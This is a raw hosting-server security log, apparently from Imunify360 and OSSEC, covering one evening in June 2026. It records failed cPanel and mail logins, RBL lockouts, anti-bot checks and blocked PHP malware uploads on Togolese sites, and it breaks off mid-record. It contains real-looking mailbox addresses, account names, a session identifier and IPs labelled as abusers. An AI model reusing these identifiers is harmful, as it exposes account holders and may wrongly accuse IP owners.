201.151.118.216 - - [17/Jun/2026:20:00:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450026&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsommet-extraordinaire-de-la-cedeao-consacre-au-burkina-faso-a-la-guinee-et-au-mali-faure-gnassingbe-y-prend-part-ce-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726421 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/sommet-extraordinaire-de-la-cedeao-consacre-au-burkina-faso-a-la-guinee-et-au-mali-faure-gnassingbe-y-prend-part-ce-jour/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2050.1300 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:201.151.118.216


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [17/Jun/2026:20:00:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986093&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fincendie-a-lecole-primaire-evangelique-de-nyekonakpoe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726422 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/incendie-a-lecole-primaire-evangelique-de-nyekonakpoe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.171.208.62
country_id: 2635167
description:
2026-06-17 20:01:13 dovecot_plain authenticator failed for H=(5sur9rc5pixja12057n) [213.171.208.62]:50248: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 93.185.162.123
country_id: 1643084
description:
[2026-06-17 20:01:25 +0000] info [cpaneld] 93.185.162.123 NEW elmkvzcm:C7B11m3E1Bjgi_2u address=93.185.162.123,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.120.117
country_id: 99237
description:
212.237.120.117 - - [17/Jun/2026:20:01:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791178&pdata=https%253A%252F%252Fwebmail.whereis.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726490 HTTP/2.0" 302 0 webmail.whereis.free.netmaster.tg "https://webmail.whereis.free.netmaster.tg/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.120.117


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 129.222.109.39
country_id: 1062947
domain: snb.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:40048.snb.tg||ServerName:snb.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e123828a90f408046fce187b3bd53d574a40f05||Title:0xbc7e76f8||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:04:58 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:04:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:04:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:04:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.176
country_id: 3469034
description:
Jun 17 20:08:17 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.176 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:07:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669510&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726851 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:07:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9542040&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726853 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.176
country_id: 3469034
description:
Jun 17 20:08:24 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.223.70.111
country_id: 3996063
description:
[2026-06-17 20:08:38 +0000] info [cpaneld] 189.223.70.111 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.189
country_id: 1814991
description:
Jun 17 20:08:43 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.189 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.27.124.147
country_id: 2017370
description:
[2026-06-17 20:08:45 +0000] info [cpaneld] 95.27.124.147 - sprocatg "GET /login/?login_only=1&user=sprocatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sprocatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.110.66.63
country_id: 290291
description:
[2026-06-17 20:08:42 +0000] info [cpaneld] 78.110.66.63 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-06-17 20:08:45 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:15014: 535 Incorrect authentication data (set_id=egnassingbe@golfe3.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.133.104
country_id: 1210997
description:
[2026-06-17 20:08:52 +0000] info [cpaneld] 103.190.133.104 - spr "GET /login/?login_only=1&user=spr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.122.204.18
country_id: 3865483
description:
[2026-06-17 20:08:56 +0000] info [cpaneld] 190.122.204.18 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-10.176.97.79.119||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.134
country_id: 1269750
description:
Jun 17 20:10:43 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.134 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:20:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7234657&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781727204 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313558&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781727207 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-14.176.97.79.119||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:17:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:17:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:17:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:17:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.24.141
country_id: 2635167
description:
[2026-06-17 20:19:34 +0000] info [whostmgrd] 195.63.24.141 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:19:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858504&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781727571 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:19:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014218&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781727571 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 95.217.140.183
country_id: 660013
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=2121||QS:add-to-cart=2121||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.140
country_id: 3175395
description:
Jun 17 20:23:43 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.140 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 104.28.193.117
country_id: 2921044
domain: afriquerevelation.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.18||T:APACHE||SC:/home/glfmqhlj/public_html/wp-admin/admin-ajax.php||User:glfmqhlj||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 104.28.193.117
country_id: 2921044
domain: afriquerevelation.tg
description:
IM360 WAF: Attempt to upload malware||Action:img_upload||Scan duration:262838||Sizes:296||Combined size:296||User:glfmqhlj||WPU:||Filename:gz3jwix1ww.php||Scanned:/tmp//20260617-202539-ajMCwxQTmLdDTTTVH6as_gAAAA0-file-XfN0MK||SC:/home/glfmqhlj/public_html/wp-admin/admin-ajax.php||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:30:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12817259&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781728221 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:20:30:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856089&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781728220 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.163.96.66
country_id: 1210997
description:
Jun 17 20:32:42 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.163.96.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.163.96.66
country_id: 1210997
description:
2026-06-17 20:32:44 dovecot_plain authenticator failed for H=(ka994ubvxmm3dk4t4mc71yzj5egrrwxd) [182.163.96.66]:43100: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:34:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594213&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781728491 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:35:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792101&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781728498 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:34:25 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:34:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.77.223.156
country_id: 6252001
description:
185.77.223.156 - - [17/Jun/2026:20:38:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858149&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781728690 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.77.223.156


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.188.161.230
country_id: 6252001
description:
2026-06-17 20:43:29 dovecot_login authenticator failed for H=srv1651917.hstgr.cloud [93.188.161.230]:52616: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.188.161.230
country_id: 6252001
description:
Jun 17 20:43:27 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.188.161.230 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 131.222.247.241
country_id: 298795
description:
131.222.247.241 - - [17/Jun/2026:20:43:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6800583&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D11204&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729019 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=11204" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.1506.1659 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:131.222.247.241


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.113.156
country_id: 3057568
description:
Jun 17 20:43:33 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.113.156 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.253.5
country_id: 1733045
description:
180.75.253.5 - - [17/Jun/2026:20:45:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6971801&pdata=https%253A%252F%252Fmacite.tg%252Fpage%252F714&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729114 HTTP/2.0" 302 0 macite.tg "https://macite.tg/page/714" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.253.5


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 104.28.193.117
country_id: 2921044
domain: metaart.tg
description:
IM360 WAF: Attempt to upload malware||Action:img_upload||Scan duration:121348||Sizes:296||Combined size:296||User:ebbmnmtd||WPU:||Filename:6zg27xr6ya.php||Scanned:/tmp//20260617-204537-ajMHcBbj0ufyy2EztRSpKwAAADA-file-ZihSQu||SC:/home/ebbmnmtd/public_html/wp-admin/admin-ajax.php||RSV:8.18||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 104.28.193.117
country_id: 2921044
domain: metaart.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.18||T:APACHE||SC:/home/ebbmnmtd/public_html/wp-admin/admin-ajax.php||User:ebbmnmtd||WPU:||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:20:46:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726358&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729203 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
